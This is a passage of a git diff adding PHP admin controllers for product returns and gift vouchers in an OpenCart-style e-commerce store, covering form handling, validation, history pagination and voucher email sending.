+
+ if (isset($this->request->get['return_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $return_info = $this->model_sale_return->getReturn($this->request->get['return_id']);
+ }
+
+ if (isset($this->request->post['order_id'])) {
+ $data['order_id'] = $this->request->post['order_id'];
+ } elseif (!empty($return_info)) {
+ $data['order_id'] = $return_info['order_id'];
+ } else {
+ $data['order_id'] = '';
+ }
+
+ if (isset($this->request->post['date_ordered'])) {
+ $data['date_ordered'] = $this->request->post['date_ordered'];
+ } elseif (!empty($return_info)) {
+ $data['date_ordered'] = ($return_info['date_ordered'] != '0000-00-00' ? $return_info['date_ordered'] : '');
+ } else {
+ $data['date_ordered'] = '';
+ }
+
+ if (isset($this->request->post['customer'])) {
+ $data['customer'] = $this->request->post['customer'];
+ } elseif (!empty($return_info)) {
+ $data['customer'] = $return_info['customer'];
+ } else {
+ $data['customer'] = '';
+ }
+
+ if (isset($this->request->post['customer_id'])) {
+ $data['customer_id'] = $this->request->post['customer_id'];
+ } elseif (!empty($return_info)) {
+ $data['customer_id'] = $return_info['customer_id'];
+ } else {
+ $data['customer_id'] = '';
+ }
+
+ if (isset($this->request->post['firstname'])) {
+ $data['firstname'] = $this->request->post['firstname'];
+ } elseif (!empty($return_info)) {
+ $data['firstname'] = $return_info['firstname'];
+ } else {
+ $data['firstname'] = '';
+ }
+
+ if (isset($this->request->post['lastname'])) {
+ $data['lastname'] = $this->request->post['lastname'];
+ } elseif (!empty($return_info)) {
+ $data['lastname'] = $return_info['lastname'];
+ } else {
+ $data['lastname'] = '';
+ }
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } elseif (!empty($return_info)) {
+ $data['email'] = $return_info['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ if (isset($this->request->post['telephone'])) {
+ $data['telephone'] = $this->request->post['telephone'];
+ } elseif (!empty($return_info)) {
+ $data['telephone'] = $return_info['telephone'];
+ } else {
+ $data['telephone'] = '';
+ }
+
+ if (isset($this->request->post['product'])) {
+ $data['product'] = $this->request->post['product'];
+ } elseif (!empty($return_info)) {
+ $data['product'] = $return_info['product'];
+ } else {
+ $data['product'] = '';
+ }
+
+ if (isset($this->request->post['product_id'])) {
+ $data['product_id'] = $this->request->post['product_id'];
+ } elseif (!empty($return_info)) {
+ $data['product_id'] = $return_info['product_id'];
+ } else {
+ $data['product_id'] = '';
+ }
+
+ if (isset($this->request->post['model'])) {
+ $data['model'] = $this->request->post['model'];
+ } elseif (!empty($return_info)) {
+ $data['model'] = $return_info['model'];
+ } else {
+ $data['model'] = '';
+ }
+
+ if (isset($this->request->post['quantity'])) {
+ $data['quantity'] = $this->request->post['quantity'];
+ } elseif (!empty($return_info)) {
+ $data['quantity'] = $return_info['quantity'];
+ } else {
+ $data['quantity'] = '';
+ }
+
+ if (isset($this->request->post['opened'])) {
+ $data['opened'] = $this->request->post['opened'];
+ } elseif (!empty($return_info)) {
+ $data['opened'] = $return_info['opened'];
+ } else {
+ $data['opened'] = '';
+ }
+
+ if (isset($this->request->post['return_reason_id'])) {
+ $data['return_reason_id'] = $this->request->post['return_reason_id'];
+ } elseif (!empty($return_info)) {
+ $data['return_reason_id'] = $return_info['return_reason_id'];
+ } else {
+ $data['return_reason_id'] = '';
+ }
+
+ $this->load->model('localisation/return_reason');
+
+ $data['return_reasons'] = $this->model_localisation_return_reason->getReturnReasons();
+
+ if (isset($this->request->post['return_action_id'])) {
+ $data['return_action_id'] = $this->request->post['return_action_id'];
+ } elseif (!empty($return_info)) {
+ $data['return_action_id'] = $return_info['return_action_id'];
+ } else {
+ $data['return_action_id'] = '';
+ }
+
+ $this->load->model('localisation/return_action');
+
+ $data['return_actions'] = $this->model_localisation_return_action->getReturnActions();
+
+ if (isset($this->request->post['comment'])) {
+ $data['comment'] = $this->request->post['comment'];
+ } elseif (!empty($return_info)) {
+ $data['comment'] = $return_info['comment'];
+ } else {
+ $data['comment'] = '';
+ }
+
+ if (isset($this->request->post['return_status_id'])) {
+ $data['return_status_id'] = $this->request->post['return_status_id'];
+ } elseif (!empty($return_info)) {
+ $data['return_status_id'] = $return_info['return_status_id'];
+ } else {
+ $data['return_status_id'] = '';
+ }
+
+ $this->load->model('localisation/return_status');
+
+ $data['return_statuses'] = $this->model_localisation_return_status->getReturnStatuses();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/return_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'sale/return')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (empty($this->request->post['order_id'])) {
+ $this->error['order_id'] = $this->language->get('error_order_id');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['firstname'])) < 1) || (utf8_strlen(trim($this->request->post['firstname'])) > 32)) {
+ $this->error['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['lastname'])) < 1) || (utf8_strlen(trim($this->request->post['lastname'])) > 32)) {
+ $this->error['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ if ((utf8_strlen($this->request->post['telephone']) < 3) || (utf8_strlen($this->request->post['telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ if ((utf8_strlen($this->request->post['product']) < 1) || (utf8_strlen($this->request->post['product']) > 255)) {
+ $this->error['product'] = $this->language->get('error_product');
+ }
+
+ if ((utf8_strlen($this->request->post['model']) < 1) || (utf8_strlen($this->request->post['model']) > 64)) {
+ $this->error['model'] = $this->language->get('error_model');
+ }
+
+ if (empty($this->request->post['return_reason_id'])) {
+ $this->error['reason'] = $this->language->get('error_reason');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'sale/return')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function history() {
+ $this->load->language('sale/return');
+
+ $this->load->model('sale/return');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $results = $this->model_sale_return->getReturnHistories($this->request->get['return_id'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'notify' => $result['notify'] ? $this->language->get('text_yes') : $this->language->get('text_no'),
+ 'status' => $result['status'],
+ 'comment' => nl2br($result['comment']),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_sale_return->getTotalReturnHistories($this->request->get['return_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('sale/return/history', 'user_token=' . $this->session->data['user_token'] . '&return_id=' . $this->request->get['return_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('sale/return_history', $data));
+ }
+
+ public function addHistory() {
+ $this->load->language('sale/return');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/return')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('sale/return');
+
+ $this->model_sale_return->addReturnHistory($this->request->get['return_id'], $this->request->post['return_status_id'], $this->request->post['comment'], $this->request->post['notify']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/sale/voucher.php b/public/admin/controller/sale/voucher.php
new file mode 100644
index 0000000..330881d
--- /dev/null
+++ b/public/admin/controller/sale/voucher.php
@@ -0,0 +1,678 @@
+load->language('sale/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('sale/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_voucher->addVoucher($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('sale/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_sale_voucher->editVoucher($this->request->get['voucher_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('sale/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('sale/voucher');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $voucher_id) {
+ $this->model_sale_voucher->deleteVoucher($voucher_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'v.date_added';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('sale/voucher/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('sale/voucher/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['vouchers'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $voucher_total = $this->model_sale_voucher->getTotalVouchers();
+
+ $results = $this->model_sale_voucher->getVouchers($filter_data);
+
+ foreach ($results as $result) {
+ if ($result['order_id']) {
+ $order_href = $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'] . $url, true);
+ } else {
+ $order_href = '';
+ }
+
+ $data['vouchers'][] = array(
+ 'voucher_id' => $result['voucher_id'],
+ 'code' => $result['code'],
+ 'from' => $result['from_name'],
+ 'to' => $result['to_name'],
+ 'theme' => $result['theme'],
+ 'amount' => $this->currency->format($result['amount'], $this->config->get('config_currency')),
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('sale/voucher/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_id=' . $result['voucher_id'] . $url, true),
+ 'order' => $order_href
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_code'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.code' . $url, true);
+ $data['sort_from'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.from_name' . $url, true);
+ $data['sort_to'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.to_name' . $url, true);
+ $data['sort_theme'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=theme' . $url, true);
+ $data['sort_amount'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.amount' . $url, true);
+ $data['sort_status'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . '&sort=v.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $voucher_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($voucher_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($voucher_total - $this->config->get('config_limit_admin'))) ? $voucher_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $voucher_total, ceil($voucher_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/voucher_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['voucher_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->request->get['voucher_id'])) {
+ $data['voucher_id'] = (int)$this->request->get['voucher_id'];
+ } else {
+ $data['voucher_id'] = 0;
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ if (isset($this->error['from_name'])) {
+ $data['error_from_name'] = $this->error['from_name'];
+ } else {
+ $data['error_from_name'] = '';
+ }
+
+ if (isset($this->error['from_email'])) {
+ $data['error_from_email'] = $this->error['from_email'];
+ } else {
+ $data['error_from_email'] = '';
+ }
+
+ if (isset($this->error['to_name'])) {
+ $data['error_to_name'] = $this->error['to_name'];
+ } else {
+ $data['error_to_name'] = '';
+ }
+
+ if (isset($this->error['to_email'])) {
+ $data['error_to_email'] = $this->error['to_email'];
+ } else {
+ $data['error_to_email'] = '';
+ }
+
+ if (isset($this->error['amount'])) {
+ $data['error_amount'] = $this->error['amount'];
+ } else {
+ $data['error_amount'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['voucher_id'])) {
+ $data['action'] = $this->url->link('sale/voucher/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('sale/voucher/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_id=' . $this->request->get['voucher_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('sale/voucher', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['voucher_id']) && (!$this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $voucher_info = $this->model_sale_voucher->getVoucher($this->request->get['voucher_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($voucher_info)) {
+ $data['code'] = $voucher_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ if (isset($this->request->post['from_name'])) {
+ $data['from_name'] = $this->request->post['from_name'];
+ } elseif (!empty($voucher_info)) {
+ $data['from_name'] = $voucher_info['from_name'];
+ } else {
+ $data['from_name'] = '';
+ }
+
+ if (isset($this->request->post['from_email'])) {
+ $data['from_email'] = $this->request->post['from_email'];
+ } elseif (!empty($voucher_info)) {
+ $data['from_email'] = $voucher_info['from_email'];
+ } else {
+ $data['from_email'] = '';
+ }
+
+ if (isset($this->request->post['to_name'])) {
+ $data['to_name'] = $this->request->post['to_name'];
+ } elseif (!empty($voucher_info)) {
+ $data['to_name'] = $voucher_info['to_name'];
+ } else {
+ $data['to_name'] = '';
+ }
+
+ if (isset($this->request->post['to_email'])) {
+ $data['to_email'] = $this->request->post['to_email'];
+ } elseif (!empty($voucher_info)) {
+ $data['to_email'] = $voucher_info['to_email'];
+ } else {
+ $data['to_email'] = '';
+ }
+
+ $this->load->model('sale/voucher_theme');
+
+ $data['voucher_themes'] = $this->model_sale_voucher_theme->getVoucherThemes();
+
+ if (isset($this->request->post['voucher_theme_id'])) {
+ $data['voucher_theme_id'] = $this->request->post['voucher_theme_id'];
+ } elseif (!empty($voucher_info)) {
+ $data['voucher_theme_id'] = $voucher_info['voucher_theme_id'];
+ } else {
+ $data['voucher_theme_id'] = '';
+ }
+
+ if (isset($this->request->post['message'])) {
+ $data['message'] = $this->request->post['message'];
+ } elseif (!empty($voucher_info)) {
+ $data['message'] = $voucher_info['message'];
+ } else {
+ $data['message'] = '';
+ }
+
+ if (isset($this->request->post['amount'])) {
+ $data['amount'] = $this->request->post['amount'];
+ } elseif (!empty($voucher_info)) {
+ $data['amount'] = $voucher_info['amount'];
+ } else {
+ $data['amount'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($voucher_info)) {
+ $data['status'] = $voucher_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/voucher_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'sale/voucher')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['code']) < 3) || (utf8_strlen($this->request->post['code']) > 10)) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ $voucher_info = $this->model_sale_voucher->getVoucherByCode($this->request->post['code']);
+
+ if ($voucher_info) {
+ if (!isset($this->request->get['voucher_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ } elseif ($voucher_info['voucher_id'] != $this->request->get['voucher_id']) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ }
+
+ if ((utf8_strlen($this->request->post['to_name']) < 1) || (utf8_strlen($this->request->post['to_name']) > 64)) {
+ $this->error['to_name'] = $this->language->get('error_to_name');
+ }
+
+ if ((utf8_strlen($this->request->post['to_email']) > 96) || !filter_var($this->request->post['to_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['to_email'] = $this->language->get('error_email');
+ }
+
+ if ((utf8_strlen($this->request->post['from_name']) < 1) || (utf8_strlen($this->request->post['from_name']) > 64)) {
+ $this->error['from_name'] = $this->language->get('error_from_name');
+ }
+
+ if ((utf8_strlen($this->request->post['from_email']) > 96) || !filter_var($this->request->post['from_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['from_email'] = $this->language->get('error_email');
+ }
+
+ if ($this->request->post['amount'] < 1) {
+ $this->error['amount'] = $this->language->get('error_amount');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'sale/voucher')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $voucher_id) {
+ $order_voucher_info = $this->model_sale_order->getOrderVoucherByVoucherId($voucher_id);
+
+ if ($order_voucher_info) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $order_voucher_info['order_id'], true));
+
+ break;
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function history() {
+ $this->load->language('sale/voucher');
+
+ $this->load->model('sale/voucher');
+
+ $data['text_no_results'] = $this->language->get('text_no_results');
+
+ $data['column_order_id'] = $this->language->get('column_order_id');
+ $data['column_customer'] = $this->language->get('column_customer');
+ $data['column_amount'] = $this->language->get('column_amount');
+ $data['column_date_added'] = $this->language->get('column_date_added');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $results = $this->model_sale_voucher->getVoucherHistories($this->request->get['voucher_id'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'amount' => $this->currency->format($result['amount'], $this->config->get('config_currency')),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_sale_voucher->getTotalVoucherHistories($this->request->get['voucher_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('sale/voucher/history', 'user_token=' . $this->session->data['user_token'] . '&voucher_id=' . $this->request->get['voucher_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('sale/voucher_history', $data));
+ }
+
+ public function send() {
+ $this->load->language('mail/voucher');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'sale/voucher')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ $this->load->model('sale/voucher');
+
+ $vouchers = array();
+
+ if (isset($this->request->post['selected'])) {
+ $vouchers = $this->request->post['selected'];
+ } elseif (isset($this->request->post['voucher_id'])) {
+ $vouchers[] = $this->request->post['voucher_id'];
+ }
+
+ if ($vouchers) {
+ $this->load->model('sale/order');
+ $this->load->model('sale/voucher_theme');
+
+ foreach ($vouchers as $voucher_id) {
+ $voucher_info = $this->model_sale_voucher->getVoucher($voucher_id);
+
+ if ($voucher_info) {
+ if ($voucher_info['order_id']) {
+ $order_id = $voucher_info['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ // If voucher belongs to an order
+ if ($order_info) {
+ $this->load->model('localisation/language');
+
+ $language = new Language($order_info['language_code']);
+ $language->load($order_info['language_code']);
+ $language->load('mail/voucher');
+
+ // HTML Mail
+ $data['title'] = sprintf($language->get('text_subject'), $voucher_info['from_name']);
+
+ $data['text_greeting'] = sprintf($language->get('text_greeting'), $this->currency->format($voucher_info['amount'], (!empty($order_info['currency_code']) ? $order_info['currency_code'] : $this->config->get('config_currency')), (!empty($order_info['currency_value']) ? $order_info['currency_value'] : $this->currency->getValue($this->config->get('config_currency')))));
+ $data['text_from'] = sprintf($language->get('text_from'), $voucher_info['from_name']);
+ $data['text_message'] = $language->get('text_message');
+ $data['text_redeem'] = sprintf($language->get('text_redeem'), $voucher_info['code']);
+ $data['text_footer'] = $language->get('text_footer');
+
+ $voucher_theme_info = $this->model_sale_voucher_theme->getVoucherTheme($voucher_info['voucher_theme_id']);
+
+ if ($voucher_theme_info && is_file(DIR_IMAGE . $voucher_theme_info['image'])) {
+ $data['image'] = HTTP_CATALOG . 'image/' . $voucher_theme_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $data['store_name'] = $order_info['store_name'];
+ $data['store_url'] = $order_info['store_url'];
+ $data['message'] = nl2br($voucher_info['message']);
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($voucher_info['to_email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($order_info['store_name'], ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(sprintf($language->get('text_subject'), html_entity_decode($voucher_info['from_name'], ENT_QUOTES, 'UTF-8')));
+ $mail->setHtml($this->load->view('mail/voucher', $data));
+ $mail->send();
+
+ // If voucher does not belong to an order
+ } else {
+ $this->language->load('mail/voucher');
+
+ $data['title'] = sprintf($this->language->get('text_subject'), $voucher_info['from_name']);
+
+ $data['text_greeting'] = sprintf($this->language->get('text_greeting'), $this->currency->format($voucher_info['amount'], $this->config->get('config_currency')));
+ $data['text_from'] = sprintf($this->language->get('text_from'), $voucher_info['from_name']);
+ $data['text_message'] = $this->language->get('text_message');
+ $data['text_redeem'] = sprintf($this->language->get('text_redeem'), $voucher_info['code']);
+ $data['text_footer'] = $this->language->get('text_footer');
+
+ $voucher_theme_info = $this->model_sale_voucher_theme->getVoucherTheme($voucher_info['voucher_theme_id']);
+
+ if ($voucher_theme_info && is_file(DIR_IMAGE . $voucher_theme_info['image'])) {
+ $data['image'] = HTTP_CATALOG . 'image/' . $voucher_theme_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $data['store_name'] = $this->config->get('config_name');
+ $data['store_url'] = HTTP_CATALOG;
+ $data['message'] = nl2br($voucher_info['message']);
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($voucher_info['to_email']);
+ $mail->setFrom($this->config->get('config_email'));
